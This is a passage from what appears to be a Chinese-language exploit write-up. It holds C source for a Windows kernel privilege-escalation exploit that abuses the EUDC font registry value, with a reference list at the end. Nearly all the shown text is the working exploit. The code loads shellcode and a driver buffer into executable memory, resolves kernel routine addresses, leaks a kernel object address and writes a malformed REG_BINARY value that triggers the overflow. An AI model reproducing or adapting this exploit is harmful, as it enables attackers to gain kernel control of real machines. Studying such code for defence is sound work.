    pDD = (PDWORD)(Data + p);
    if(*pDD == Old)
      return (Data + p);
    p++;
  }
  return 0;
}

typedef enum _SYSTEM_INFORMATION_CLASS
{
  SystemModuleInformation = 11,
  SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION
{
  ULONG  Reserved[2];
  PVOID  Base;
  ULONG  Size;
```

```
  ULONG  Flags;
  USHORT Index;
  USHORT Unknown;
  USHORT LoadCount;
  USHORT ModuleNameOffset;
  CHAR  ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATIONS
{
  ULONG dwNum;
  SYSTEM_MODULE_INFORMATION modinfo[1];
} SYSTEM_MODULE_INFORMATIONS, *PSYSTEM_MODULE_INFORMATIONS;

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef NTSTATUS (__stdcall* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInfor
mationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

DWORD WINAPI ThreadProc(LPVOID Params)
{
  while(TRUE)
  {
    Sleep(INFINITE);
  }
}
int _tmain(int argc, _TCHAR* argv[])
{
  BYTE* pMem;

  LPVOID pDrvMem = VirtualAlloc(NULL, sizeof(DrvBuf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_R
```

```
EADWRITE);
  memcpy(pDrvMem, DrvBuf, sizeof(DrvBuf));

  OSVERSIONINFO vi;
  vi.dwOSVersionInfoSize = sizeof(vi);
  GetVersionEx(&vi);

  DWORD ExpSize = 0;
  BOOL bIsWow64 = IsWow64();

  if((vi.dwBuildNumber >= 6000 && !bIsWow64) || (vi.dwBuildNumber >= 7600 && bIsWow64))
  {
    BYTE RegBuf[0x40] = {0};
    if(bIsWow64)
    {
      pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data64), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_RE
ADWRITE);
      memcpy(pMem, Data64, sizeof(Data64));

      *(DWORD*)(RegBuf + 0x38) = (DWORD)pMem;
      ExpSize = 0x40;
    }
    else
    {
      pMem = (BYTE*)VirtualAlloc(NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ
WRITE);
      memcpy(pMem, Data, sizeof(Data));

      *(DWORD*)(RegBuf + 0x1C) = (DWORD)pMem;
      ExpSize = 0x28;


      HMODULE hDll = GetModuleHandle(L"ntdll.dll");
      pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetPr
ocAddress(hDll,"ZwQuerySystemInformation");
      PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
      ULONG AllocSize = 0;
      fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);

      pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
      fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
      HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].M
oduleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
      DWORD Delta =  (DWORD)pModInfo->modinfo[0].Base - (DWORD)hKernel;
```

```
    free(pModInfo);

    if(vi.dwBuildNumber < 7600)
    {
      FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);

      HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L"Local\\PoC");
      PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(S
YSTEM_HANDLE_INFORMATION));
      AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
      fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

      pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
      fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);

      for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
      {
        if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
        {
          *(DWORD*)(RegBuf + 0x4) = (DWORD)(pHandleInfo->Handles[i].Object) - 0x18;
          break;
        }
      }
      free(pHandleInfo);
    }
    else
    {
      FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x30);
    }
    FixDWORD(pMem, sizeof(Data), 0x11111111, (DWORD)GetProcAddress(hKernel, "ExAllocatePoolWithTa
g") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x22222222, (DWORD)GetProcAddress(hKernel, "RtlInitAnsiString") + D
elta);
    FixDWORD(pMem, sizeof(Data), 0x33333333, (DWORD)GetProcAddress(hKernel, "RtlAnsiStringToUnico
deString") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x44444444, (DWORD)GetProcAddress(hKernel, "MmGetSystemRoutin
eAddress") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x55555555, (DWORD)GetProcAddress(hKernel, "RtlFreeUnicodeString"
) + Delta);
    FixDWORD(pMem, sizeof(Data), 0x66666666, (DWORD)GetProcAddress(hKernel, "memcpy") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x77777777, (DWORD)GetProcAddress(hKernel, "memset") + Delta);
    FixDWORD(pMem, sizeof(Data), 0x88888888, (DWORD)GetProcAddress(hKernel, "KeDelayExecutionThr
ead") + Delta);
    FreeLibrary(hKernel);
```

```
      FixDWORD(pMem, sizeof(Data), 0x11223344, sizeof(DrvBuf));
      FixDWORD(pMem, sizeof(Data), 0x55667788, (DWORD)pDrvMem);
    }
    UINT codepage = GetACP();
    TCHAR tmpstr[256];
    _stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage);
    HKEY hKey;
    RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE
| DELETE, NULL, &hKey, NULL);
    RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));

    // 此处是触发问题的关键地方, 触发类型为 REG_BINARY,   正常类型为 REG_SZ
    RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);



    __try
    {
      EnableEUDC(TRUE);
    }
    __except(1)
    {
    }
    //RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
    RegCloseKey(hKey);

    VirtualFree(pDrvMem, 0, MEM_RELEASE);

  }
  else
  {
    MessageBox(NULL, TEXT("Not supported."), TEXT("Error"), 0);
  }
  return 0;
}
```

6 参考

==========

漏洞公告: http://www.exploit-db.com/exploits/15609/

RtlQueryRegistryValues 函数介绍：http://msdn.microsoft.com/en-us/library/ff562046%28VS.85%29.aspx